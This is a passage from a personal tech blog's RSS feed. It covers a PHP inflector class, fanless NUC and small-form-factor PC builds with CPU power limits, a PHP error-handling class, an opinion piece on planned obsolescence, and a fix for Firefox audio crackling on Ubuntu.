</span></span><span class="line"><span class="cl">    <span class="k">public</span> <span class="k">static</span> <span class="k">function</span> <span class="nf">singularize</span><span class="p">(</span><span class="nx">string</span> <span class="nv">$plural</span><span class="p">)</span><span class="o">:</span> <span class="nx">string</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="k">static</span><span class="o">::</span><span class="nv">$uncountables</span><span class="p">[</span><span class="nv">$plural</span><span class="p">]))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="nv">$plural</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$irregulars</span> <span class="o">=</span> <span class="nx">array_flip</span><span class="p">(</span><span class="k">static</span><span class="o">::</span><span class="nv">$irregulars</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">foreach</span> <span class="p">(</span><span class="nv">$irregulars</span> <span class="k">as</span> <span class="nv">$pattern</span> <span class="o">=&gt;</span> <span class="nv">$replacement</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="nx">preg_match</span><span class="p">(</span><span class="s2">&#34;/</span><span class="si">$pattern\</span><span class="s2">$/&#34;</span><span class="p">,</span><span class="nv">$plural</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="nx">preg_replace</span><span class="p">(</span><span class="s2">&#34;/</span><span class="si">$pattern\</span><span class="s2">$/&#34;</span><span class="p">,</span><span class="nv">$replacement</span><span class="p">,</span><span class="nv">$plural</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">foreach</span> <span class="p">(</span><span class="nx">array_reverse</span><span class="p">(</span><span class="k">static</span><span class="o">::</span><span class="nv">$singulars</span><span class="p">,</span> <span class="k">true</span><span class="p">)</span> <span class="k">as</span> <span class="nv">$pattern</span> <span class="o">=&gt;</span> <span class="nv">$replacement</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="nx">preg_match</span><span class="p">(</span><span class="nv">$pattern</span><span class="p">,</span><span class="nv">$plural</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="nx">preg_replace</span><span class="p">(</span><span class="nv">$pattern</span><span class="p">,</span><span class="nv">$replacement</span><span class="p">,</span><span class="nv">$plural</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nv">$plural</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">public</span> <span class="k">static</span> <span class="k">function</span> <span class="nf">pluralize</span><span class="p">(</span><span class="nx">string</span> <span class="nv">$singular</span><span class="p">)</span><span class="o">:</span> <span class="nx">string</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="k">static</span><span class="o">::</span><span class="nv">$uncountables</span><span class="p">[</span><span class="nv">$singular</span><span class="p">]))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="nv">$singular</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">foreach</span> <span class="p">(</span><span class="k">static</span><span class="o">::</span><span class="nv">$irregulars</span> <span class="k">as</span> <span class="nv">$pattern</span> <span class="o">=&gt;</span> <span class="nv">$replacement</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="nx">preg_match</span><span class="p">(</span><span class="s2">&#34;/</span><span class="si">$pattern\</span><span class="s2">$/&#34;</span><span class="p">,</span><span class="nv">$singular</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="nx">preg_replace</span><span class="p">(</span><span class="s2">&#34;/</span><span class="si">$pattern\</span><span class="s2">$/&#34;</span><span class="p">,</span><span class="nv">$replacement</span><span class="p">,</span><span class="nv">$singular</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">foreach</span> <span class="p">(</span><span class="nx">array_reverse</span><span class="p">(</span><span class="k">static</span><span class="o">::</span><span class="nv">$plurals</span><span class="p">,</span> <span class="k">true</span><span class="p">)</span> <span class="k">as</span> <span class="nv">$pattern</span> <span class="o">=&gt;</span> <span class="nv">$replacement</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="nx">preg_match</span><span class="p">(</span><span class="nv">$pattern</span><span class="p">,</span><span class="nv">$singular</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="nx">preg_replace</span><span class="p">(</span><span class="nv">$pattern</span><span class="p">,</span><span class="nv">$replacement</span><span class="p">,</span><span class="nv">$singular</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nv">$singular</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>With the above code loaded you can call:</p>
<pre><code>$singular = Inflector::singularize($plural);
</code></pre>
<p>As you can see the code is not really complicated and it is just executed a
clever set of regular expressions executed in a loop. With this start you should
be able to implement your own Inflector (in any programming language) or start
making rules for a specific (natural) language for one of the existing Inflector
implementations.</p>
<p>Happy coding!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://api.rubyonrails.org/classes/ActiveSupport/Inflector.html#method-i-pluralize">Ruby On Rails Inflector</a></li>
<li><a href="https://book.cakephp.org/4/en/core-libraries/inflector.html">CakePHP Inflector</a></li>
<li><a href="https://www.doctrine-project.org/projects/doctrine-inflector/en/2.0/index.html#pluralize">Doctrine Inflector</a></li>
<li><a href="https://icanboogie.org/api/inflector/1.4/class-ICanBoogie.Inflector.html">ICanBoogie Inflector</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Fanless Intel NUC i7 with Akasa case</title>
      <link>https://www.tqdev.com/2021-fanless-intel-nuc-i7-akasa-case/</link>
      <pubDate>Sat, 21 Aug 2021 16:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2021-fanless-intel-nuc-i7-akasa-case/</guid>
      <description>&lt;p&gt;Five years ago (2015) I have built a completely silent (no moving parts nor coil
whine) PC: A 5th gen Intel NUC i7 with 16 GB RAM and a 512 GB NVMe drive. Those
parts have been discontinued, but if you would build something like that again
today you could: A 10th gen Intel NUC i7 with 64 GB RAM and a 2 TB NVMe drive.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.youtube.com/watch?v=zG5llqjUSVA&#34; style=&#34;border:0;&#34;&gt;&lt;img alt=&#34;Youtube: How to install a NUC into an Akasa Turing FX case&#34; src=&#34;https://i.ytimg.com/vi/zG5llqjUSVA/maxresdefault.jpg&#34;&gt;&lt;br/&gt;(source:
Youtube)&lt;/a&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Five years ago (2015) I have built a completely silent (no moving parts nor coil
whine) PC: A 5th gen Intel NUC i7 with 16 GB RAM and a 512 GB NVMe drive. Those
parts have been discontinued, but if you would build something like that again
today you could: A 10th gen Intel NUC i7 with 64 GB RAM and a 2 TB NVMe drive.</p>
<p><a href="https://www.youtube.com/watch?v=zG5llqjUSVA" style="border:0;"><img alt="Youtube: How to install a NUC into an Akasa Turing FX case" src="https://i.ytimg.com/vi/zG5llqjUSVA/maxresdefault.jpg"><br/>(source:
Youtube)</a></p>
<h3 id="parts-to-order">Parts to order</h3>
<p>This 2015 NUC had an 8 watt idle power usage and a 30 watt max sustained usage
under full load (measured on the wall socket), allowing for a nice thermal
&ldquo;budget&rdquo; when under normal load (web browsing). The 2015 NUC came with a 65 watt
power supply (built into the plug).</p>
<pre><code>- 5th gen Intel NUC (NUC5i7RYH) with dual core i7-5557U CPU
- 2x 8GB Kingston HyperX DDR3L RAM at 1600MHz (1.35 V) memory
- Samsung 960 PRO 512GB M.2 SSD drive
- Akasa Plato X (A-NUC23-A1B) fanless case
</code></pre>
<p>I&rsquo;m not sure what I paid 5 years ago, but I think it is comparable to what one
would pay today for the 10th gen Intel NUC (in EUR):</p>
<pre><code> 699 10th gen Intel NUC (NUC10i7FNH) with hexa core i7-10710U CPU
 349 2x 32GB Kingston HyperX (HX426S16IBK2/64) DDR4 at 2666 MHz memory
 399 Samsung 980 PRO (MZ-V8P2T0BW) 2TB M.2 SSD drive
 139 Akasa Turing FX (A-NUC52-M1B) fanless case
----
1586 Total
</code></pre>
<p>As you can see the current machine is much more powerful, sporting 6 CPU cores
instead of 2 and 64GB of RAM instead of 16 and 2048 GB of NVMe storage instead
of 512.</p>
<p>The 2019 NUC (NUC10i7FNH) uses 6 watt on the wall socket when idle and 102 under
load (according to Hot Hardware). This machine may be faster, but it&rsquo;s 120 watt
power supply (brick type) is worrying. Fortunately you can adjust the Package
Power Limit 1 and 2 (PPL1 and PPL2) in the BIOS to keep the (sustained and peak)
power usage down.</p>
<h3 id="fan-control-mode-fanless">Fan Control Mode: Fanless</h3>
<p>The NUC&rsquo;s BIOS has a setting specifically for running your NUC fanless. To set
it follow these instructions:</p>
<pre><code>- Press F2 during start to enter BIOS Setup.
- Select Advanced &gt; Cooling.
- Choose &quot;Fan Control Mode&quot;.
- Set this to &quot;Fanless&quot;.
- Press F10 to exit BIOS Setup.
</code></pre>
<p>This will disable the fan options and all related warnings.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.anandtech.com/show/15571/intel-nuc10i7fnh-frost-canyon-review/9">Anandtech - Intel NUC10i7FNH Frost Canyon Review</a></li>
<li><a href="https://hothardware.com/reviews/intel-nuc-nuc10i7fnh-mini-pc-review?page=4">Hot Hardware - Intel NUC10i7FNH mini PC Review</a></li>
<li><a href="https://www.intel.com/content/www/us/en/support/articles/000005946/intel-nuc.html">Intel NUC - Cooling and Fan Controls</a></li>
<li><a href="https://www.youtube.com/watch?v=zG5llqjUSVA">Youtube: How to install a NUC into an Akasa Turing FX case</a></li>
<li><a href="https://www.youtube.com/watch?v=ppctDt0RFXs">Youtube: Akasa Turing FX - Building a Fully Silent Fanless PC</a></li>
<li><a href="https://www.youtube.com/watch?v=49lv8N7057c">Youtube: CPU Power Limits – How to Reduce CPU Temperatures in a Fanless PC</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>PHP 7 error handling class</title>
      <link>https://www.tqdev.com/2021-php-7-error-handling-class/</link>
      <pubDate>Tue, 27 Jul 2021 16:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2021-php-7-error-handling-class/</guid>
      <description>&lt;p&gt;Since writing bug-free code is not possible it is very important that you can
quickly reproduce and fix bugs. Any programmer will tell you that this is only
possible with a good bug report. Not all bugs are about missing/wrong
functionality, sometimes the application runs into an error. Fortunately error
reports (or crash reports as they are sometimes called) can be automated. In
this post I will explain how errors are handled in PHP and how you can collect
and log error data.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Since writing bug-free code is not possible it is very important that you can
quickly reproduce and fix bugs. Any programmer will tell you that this is only
possible with a good bug report. Not all bugs are about missing/wrong
functionality, sometimes the application runs into an error. Fortunately error
reports (or crash reports as they are sometimes called) can be automated. In
this post I will explain how errors are handled in PHP and how you can collect
and log error data.</p>
<p>Note: If you are just looking for something ready to use as-is in production
then look at <a href="https://github.com/filp/whoops">Whoops</a> (included in Laravel).</p>
<h3 id="two-error-handlers">Two error handlers</h3>
<p>Non-fatal errors can be handled by a user-defined handler using the
&ldquo;<code>set_error_handler</code>&rdquo; function. Fatal errors, on the other hand, are exceptions
(since PHP 7) and exceptions (of type &ldquo;<code>Throwable</code>&rdquo;) can be handled by a
user-defined handler using the &ldquo;<code>set_exception_handler</code>&rdquo; function. Since all
uncaught exceptions are also fatal this covers about everything. The error
handler receives parameters describing the error, but these can be converted to
an ErrorException (that you should construct, but not throw). Now all errors are
exceptions and you can create and call a third handler to log or display them.</p>
<h3 id="uncatchable-fatal-errors">Uncatchable fatal errors</h3>
<p>Not all fatal errors are handled as exceptions (in PHP 7). For instance the
error &ldquo;Maximum execution time of 1 second exceeded&rdquo; cannot be caught with the
above handlers. You need to register a user-defined shutdown handler using the
&ldquo;<code>register_shutdown_function</code>&rdquo; function and request the last error using the
&ldquo;<code>error_get_last</code>&rdquo; function. Note that you need to return &ldquo;<code>true</code>&rdquo; in the
user-defined error handler to flag that you handled the error (avoiding it to be
reported by the &ldquo;<code>error_get_last</code>&rdquo; function in the shutdown handler).</p>
<p>Note: There is an annoying bug in the shutdown handler causing the CWD (current
working directory) to change. I worked around this by storing the CWD during
startup and using that to generate an absolute path in the shutdown handler.</p>
<h3 id="development-vs-production">Development vs. production</h3>
<p>In development I want to see all errors, while in production I want to log all
errors. When a fatal error/exception occurs in production I want to avoid that
the end-user sees all kinds of technical error messages and just show a text
saying: &ldquo;Oops! Something went wrong.&rdquo; The error message shown in development or
stored in the log should contain a stack trace, so that I can understand where
the error exactly occurred. Also important is the requested URL, that is often
missing in PHP&rsquo;s error log. Once you understand the code you can easily add
other parameters, such as a customer identifier in a multi-tenant system.</p>
<h3 id="load-your-errors-into-the-database">Load your errors into the database</h3>
<p>Now that you have the errors logged in new-line delimited JSON format (NDJSON)
you may do several things with them. One is to load them into the database of
your application so that you can view them in a control panel for
administrators. You may also write an error report viewer or create a mailer
script that warns you of important errors. I&rsquo;m sure that once you have the data
you can think of things that will speed up fixing the cause of these error
reports.</p>
<h3 id="getting-started">Getting started</h3>
<p>Here is the file &ldquo;<code>ErrorReporting.php</code>&rdquo;:</p>
<p><a href="https://gist.github.com/mevdschee/98dc3f6d246acf4a534be905afa53003">https://gist.github.com/mevdschee/98dc3f6d246acf4a534be905afa53003</a></p>
<p>You can use it by adding the following to (the front-controller of) your PHP
application:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl"><span class="k">include</span> <span class="s1">&#39;ErrorReporting.php&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nx">ErrorReporting</span><span class="o">::</span><span class="na">start</span><span class="p">(</span><span class="k">true</span><span class="p">);</span> <span class="c1">// false for production
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">include</span> <span class="s1">&#39;error.php&#39;</span><span class="p">;</span> <span class="c1">// some file with a PHP error
</span></span></span></code></pre></div><p>Happy programming!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://netgen.io/blog/modern-error-handling-in-php">Modern Error handling in PHP (2019)</a></li>
<li><a href="https://stackify.com/php-try-catch-php-exception-tutorial/">PHP Try Catch: Basics &amp; Advanced PHP Exception Handling Tutorial (2018)</a></li>
<li><a href="http://deadlytechnology.com/scripts/php-error-class/">PHP Error Handling Class (2007)</a></li>
<li><a href="https://github.com/filp/whoops">Whoops - PHP errors for cool kids</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Planned obsolescence and the right to repair</title>
      <link>https://www.tqdev.com/2021-on-the-right-to-repair-and-planned-obsolescence/</link>
      <pubDate>Tue, 06 Jul 2021 14:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2021-on-the-right-to-repair-and-planned-obsolescence/</guid>
      <description>&lt;p&gt;What have light-bulbs in common with Apple products? They are designed so that
you can&amp;rsquo;t repair them and they are (needlessly) designed so that they need
replacement pretty fast. Batteries are glued into the phone and the glass front
panel breaks easily and is hard to replace. Is that legal? I feel it shouldn&amp;rsquo;t
be.&lt;/p&gt;
&lt;p&gt;Fortunately, fines of millions of euros are given to counter this phenomenon
also known as &amp;ldquo;planned obsolescence&amp;rdquo;. Still it seems these fines are not
frequent and/or high enough to stop manufacturers from applying this practice.
Planned obsolescence is mainly a environmental threat as many appliances and
devices are thrown away and end up on garbage dumps (needlessly).&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>What have light-bulbs in common with Apple products? They are designed so that
you can&rsquo;t repair them and they are (needlessly) designed so that they need
replacement pretty fast. Batteries are glued into the phone and the glass front
panel breaks easily and is hard to replace. Is that legal? I feel it shouldn&rsquo;t
be.</p>
<p>Fortunately, fines of millions of euros are given to counter this phenomenon
also known as &ldquo;planned obsolescence&rdquo;. Still it seems these fines are not
frequent and/or high enough to stop manufacturers from applying this practice.
Planned obsolescence is mainly a environmental threat as many appliances and
devices are thrown away and end up on garbage dumps (needlessly).</p>
<h3 id="planned-obsolescence-laws-in-france">Planned obsolescence laws in France</h3>
<p>France has a law (decree 2014-1482) that obliges French producers to inform
sellers, who then are to convey this information to consumers, about the
durability of their products and the availability of the spare parts under a
threat of fine of 15.000 euro.</p>
<p>Another law (2015-992) defines planned obsolescence as: &ldquo;all the techniques by
which the marketer tends to deliberately reduce the lifetime of a product in
order to increase its substitution rate&rdquo;.</p>
<p>Even though there are plans to make similar laws apply in the entire EU (and
even in the US), this is not yet the case.</p>
<h3 id="fashionable-styles">Fashionable styles</h3>
<p>In clothing planned obsolescence is caused by trying to influence the &ldquo;taste&rdquo; of
the consumers. By convincing people that something is fashionable or not, they
are helping shorten the (required) lifetime of the clothes. You could say that
consumers do this to themselves. One could also argue that fashion (the concept)
is not very environmental friendly .Since these fashionable styles apply to
cars, home decoration, etc, etc&hellip; this is a serious problem with large
(environmental) impact.</p>
<h3 id="how-about-computers">How about computers?</h3>
<p>Desktop computers can last very long. Many parts of desktop PCs have well
standardized interfaces and are easily interchangeable, this is great! Still one
should be careful when buying small form factor computers such as laptops and
tablets. Many of these small form factor devices are not advertised as being
easy to repair or as having a long expected lifetime.</p>
<p>I feel &ldquo;Clevo&rdquo; is a good brand for repairable laptops, and &ldquo;HP&rdquo; has some very
repairable tablets. If you care about the environment, go buy these brands, even
if they seem to cost a little extra!</p>
<p>Just released: Check out the &ldquo;Framework&rdquo; laptop on
<a href="https://www.youtube.com/watch?v=0rkTgPt3M4k">YouTube</a> or on their
<a href="https://frame.work/">website</a>.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.youtube.com/watch?v=j5v8D-alAKE">Veritasium - This is why we can&rsquo;t have nice things</a></li>
<li><a href="https://www.rothpartners.eu/en/green-growth-planned-obsolescence-of-the-planned-obsolescence/">Green Growth: Planned obsolescence… of the planned obsolescence?</a></li>
<li><a href="https://clevo-computer.com/en/laptops-configurator/purpose/linux-systems/">CLEVO computer - Laptop configurator (Linux systems)</a></li>
<li><a href="https://frame.work/">Framework - The Framework Laptop is now shipping!</a></li>
<li><a href="https://www.youtube.com/watch?v=0rkTgPt3M4k">Linus Tech Tips - A COMPLETELY Upgradeable Laptop?</a></li>
<li><a href="https://www.ifixit.com/tablet-repairability">iFixit - Tablet Repairability Scores</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Antec ISK 110 with 3400G using cTDP</title>
      <link>https://www.tqdev.com/2021-antec-isk-110-with-3400g-using-ctdp/</link>
      <pubDate>Wed, 23 Jun 2021 12:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2021-antec-isk-110-with-3400g-using-ctdp/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve built another PC. This time I wanted to create a silent but powerful small
form factor PC. It aims to replace my AMD 3400G midi tower with something
equally powerful and quiet that fits my desk. I&amp;rsquo;ve chosen an ASRock Fatal1ty
B450 Gaming-ITX/ac motherboard with a on-board WiFi 5 (802.11ac) in an Antec
ISK110 VESA-U3 small form factor case. I transferred the AMD 3400G quad core,
the 2x16 GB of G.Skill Ripjaws 3600 a the 2 TB ADATA XPG SX8200 Pro NVMe drive.
It is a small, pretty, super fast and not too noisy little box. The case costs
91 euros and has a built-in 90W power supply and comes with an IEC-C5 (also
known as &amp;ldquo;clover&amp;rdquo;) power cable included. Unfortunately the cable I received was
UK type instead of EU type.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I&rsquo;ve built another PC. This time I wanted to create a silent but powerful small
form factor PC. It aims to replace my AMD 3400G midi tower with something
equally powerful and quiet that fits my desk. I&rsquo;ve chosen an ASRock Fatal1ty
B450 Gaming-ITX/ac motherboard with a on-board WiFi 5 (802.11ac) in an Antec
ISK110 VESA-U3 small form factor case. I transferred the AMD 3400G quad core,
the 2x16 GB of G.Skill Ripjaws 3600 a the 2 TB ADATA XPG SX8200 Pro NVMe drive.
It is a small, pretty, super fast and not too noisy little box. The case costs
91 euros and has a built-in 90W power supply and comes with an IEC-C5 (also
known as &ldquo;clover&rdquo;) power cable included. Unfortunately the cable I received was
UK type instead of EU type.</p>
<p>
  
    <img src="/uploads/2021/antec-isk-110_hu_38354097e3c92265.webp" alt="Antec ISK110 VESA-U3"  />
  
</p>
<p>Note that I run Xubuntu 20.04 LTS and it works great, I&rsquo;m very pleased with the
results!</p>
<h3 id="list-of-materials">List of materials</h3>
<p>The materials used in this build:</p>
<pre><code> 91 Antec ISK110 VESA-U3 90W PSU SFF case
169 AMD 3400G CPU with integrated graphics
101 ASRock Fatal1ty B450 Gaming-ITX/ac motherboard
191 G.Skill Ripjaws DDR4 DIMM 2x16GB 3600
240 ADATA XPG SX8200 Pro 2TB M.2 Nvme SSD
 41 Noctua NH-L9a-AM4 CPU fan
--- +
833 Total
</code></pre>
<p>Due to some price increases this build may have been 10-15% cheaper a few months
ago.</p>
<h3 id="is-90-watt-enough-for-the-3400g">Is 90 watt enough for the 3400G?</h3>
<p>No, it is not. The CPU has a TDP of 65 Watt and although the machine boots, it
will reboot under heavy load (e.g. instant reboot when running <code>stress -c 8</code>). I
measured peaks near 90 watt (on the socket) under normal usage. I want my
machines to be rock solid, so I was looking for a solution.</p>
<p>The CPU&rsquo;s TDP of the 65 Watt is not the maximum draw from the CPU. TDP stands
for Thermal Design Power, and it is the heat a component is expected to output
when under normal load. You should count with roughly 1.5 times the TDP rating
to calculate the expected power draw under full load. For our system the CPU
with TDP of 65 Watt has an expeced power draw under full load of 65 x 1.5 = 97.5
Watt which explains the reboots.</p>
<h3 id="ctdp-to-the-rescue">cTDP to the rescue</h3>
<p>Configurable TDP (cTDP) adjust the behavior of the CPU, so that it consumes less
power. When you have a configured TDP the CPU slows down (throttles)
automatically to match this configured TDP value. This is typically used in very
thin devices with low cooling capabilities or when a quite mode is preferred
over the maximum performance mode. Intel and AMD have different names for the
settings that configure the maximum power draw of the CPU (in Watt).</p>
<h3 id="intel-power-level">Intel: Power Level</h3>
<p>On Intel there is a Power Level 1 and 2 (PL1 and PL2) that can be adjusted in
the motherboard&rsquo;s BIOS. PL2 limits the power (in Watt) that the turbo mode uses
while PL1 limits the sustained usage. By disabling Turbo and setting PL1 to low
value (such as 50) we can limit the power usage of the CPU so that we can use
the CPU in a SFF case like the Antec ISK 110.</p>
<h3 id="amd-package-power-tracking">AMD: Package Power Tracking</h3>
<p>AMD has Precision Boost Overdrive (PBO) with a feature called Package Power
Tracking (PPT). After we enable PBO in the motherboard&rsquo;s BIOS we can set the
PPT. The PPT limits the power that the CPU uses (in Watt). By limiting the
maximum power draw of the CPU we can ensure that the system does not exceed the
90 Watt maximum that the power supply of the Antec ISK 110 can deliver.</p>
<h3 id="pbo-ppt-and-wall-socket-usage">PBO PPT and wall socket usage</h3>
<p>The ASRock B450-ITX motherboard has a BIOS setting where you can set PPT (after
enabling PBO in &ldquo;Advanced&rdquo; mode). Setting PPT to 35 Watt gives an expected 52.5
Watt usage of the system, which in practice was around 64 Watt on the wall
socket (which includes conversion losses). This is well within the limits of the
power supply and the machine didn&rsquo;t get very hot, nor loud, nor did it suddenly
reboot. Great results so far!</p>
<p>
  
    <img src="/uploads/2021/asrock-bios-ppt_hu_aab750b3284a886b.webp" alt="Setting the PPT BIOS setting to 35 watt on a ASRock Fatal1ty B450 Gaming-ITX/ac motherboard"  />
  
</p>
<p>You need to go to &ldquo;Advanced &gt; AMD Overclocking&rdquo; and set &ldquo;Precision Boost
Overdrive&rdquo; to &ldquo;Advanced&rdquo;, &ldquo;PBO Limits&rdquo; to &ldquo;Manual&rdquo; and &ldquo;PPT Limit [W]&rdquo; to &ldquo;35&rdquo;
to set the maximum usage of the AMD CPU to 35 watt.</p>
<h3 id="ctdp-and-performance-impact">cTDP and performance impact</h3>
<p>One would expect half the performance at half the TDP, but that&rsquo;s is not how
this works. Light tasks (web browsing for instance) is often single threaded and
have to wait a lot for I/O, so in these cases you may not experience much
slowdown. In my experience the amount of RAM of a system is much more limiting
for today&rsquo;s applications than the speed of the CPU. And the impact of limiting
the TDP is also low in a more demanding real world scenario like gaming, as you
can see here:</p>
<p><a href="https://www.youtube.com/watch?v=DqrOqVRJSKw">Youtube - Ryzen R5 3400G cTDP comparison (65W+45W+35W)</a></p>
<p>As you can see game performance is hardly affected by a lower configured TDP.
Since PPT (or PL1) is not the same as cTDP, my advice is to experiment a bit
with this setting and measure the power usage (in watt) on the wall socket to
get optimal results. When I set the PPT to 50 the power draw on the wall socket
stays safely under 90 watt under full load (around 88 watt).</p>
<h3 id="ram-runs-slow-at-2133-mhz">RAM runs slow at 2133 MHz</h3>
<p>I also noted that the machine didn&rsquo;t want to load the rated 3600 speed of the
GSkill DDR4 RAM using XMP 2.0 in AUTO mode and fell back to 2133 MHz. When
choosing the 3200 profile it did run at 3200 MHz. I do not advice running the
RAM at lower speeds as this affects the CPU&rsquo;s performance.</p>
<h3 id="ctdp-conclusions">cTDP conclusions</h3>
<p>Configurable TDP (cTDP in the form of PPT/PL1) is a great tool to lower the
power draw of your system with integrated graphics. It influences real world
performance less than one would expect, allowing for a quiet PC with a smaller
form factor using the same powerful components.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.asrock.com/MB/AMD/Fatal1ty%20B450%20Gaming-ITXac">Fatal1ty B450 Gaming-ITX/ac</a></li>
<li><a href="https://www.antec.com/product/case/isk110-vesa-u3">ISK110 VESA-U3 - Mini-ITX case</a></li>
<li><a href="https://www.youtube.com/watch?v=DqrOqVRJSKw">Ryzen R5 3400G cTDP comparison (65W+45W+35W)</a></li>
<li><a href="https://www.hardwaretimes.com/intel-10th-gen-cpu-power-consumption-explained-pl1-pl2-and-tau/">Intel Power Consumption Explained: PL1, PL2, and Tau</a></li>
<li><a href="https://www.youtube.com/watch?v=49lv8N7057c">Youtube: CPU Power Limits – How to Reduce CPU Temperatures</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Firefox on Ubuntu has crackling sound</title>
      <link>https://www.tqdev.com/2021-firefox-ubuntu-crackling-sound/</link>
      <pubDate>Sun, 20 Jun 2021 03:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2021-firefox-ubuntu-crackling-sound/</guid>
      <description>&lt;p&gt;I&amp;rsquo;m running Xubuntu 21.04 and when I&amp;rsquo;m listening to
&lt;a href=&#34;https://www.mixcloud.com/&#34;&gt;mixcloud&lt;/a&gt; and visit certain sites using Firefox the
sound starts to crackle and gets distorted. It can only be resolved by
restarting Firefox, but restarting the browser is quite annoying. I added a
bookmark to the URL &amp;ldquo;&lt;code&gt;about:RestartRequired&lt;/code&gt;&amp;rdquo; to make the process a little less
painful. I had to restart my browser fairly often until I found the following
fixes to resolve the problem and find the cause.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I&rsquo;m running Xubuntu 21.04 and when I&rsquo;m listening to
<a href="https://www.mixcloud.com/">mixcloud</a> and visit certain sites using Firefox the
sound starts to crackle and gets distorted. It can only be resolved by
restarting Firefox, but restarting the browser is quite annoying. I added a
bookmark to the URL &ldquo;<code>about:RestartRequired</code>&rdquo; to make the process a little less
painful. I had to restart my browser fairly often until I found the following
fixes to resolve the problem and find the cause.</p>
<h3 id="fix-1">Fix 1:</h3>
<p>Go to about:config in Firefox and search for &ldquo;<code>media.webspeech.synth.enabled</code>&rdquo;
and set it to &ldquo;<code>false</code>&rdquo; (double clicking on the entry should do it) then close
Firefox. Don&rsquo;t forget to restart Firefox.</p>
<h3 id="fix-2">Fix 2:</h3>
<p>It seems related to speech-dispatcher (some text-to-speech utility), so you can
try:</p>
<pre><code>killall speech-dispatcher
</code></pre>
<p>If the sound comes back to normal you can remove it completely (if you don&rsquo;t
need it) with:</p>
<pre><code>sudo apt remove speech-dispatcher
</code></pre>
<p>Don&rsquo;t forget to restart Firefox.</p>
<h3 id="speech-synthesis">Speech Synthesis</h3>
<p>The bug has something to do with Ubuntu and Speech Synthesis and may be related
to Firefox. When websites use the experimental &ldquo;SpeechSynthesis&rdquo; API the bug
appears. It can be triggered by pressing F12 and entering the following in the
console:</p>
<pre><code>let utterance = new SpeechSynthesisUtterance(&quot;Hello world!&quot;);
speechSynthesis.speak(utterance);
</code></pre>
<p>After pressing &ldquo;Enter&rdquo; you will hear &ldquo;Hello World&rdquo; and all other audio will be
crackling and distorted until you restart Firefox.</p>
<h3 id="links">Links</h3>
<ul>
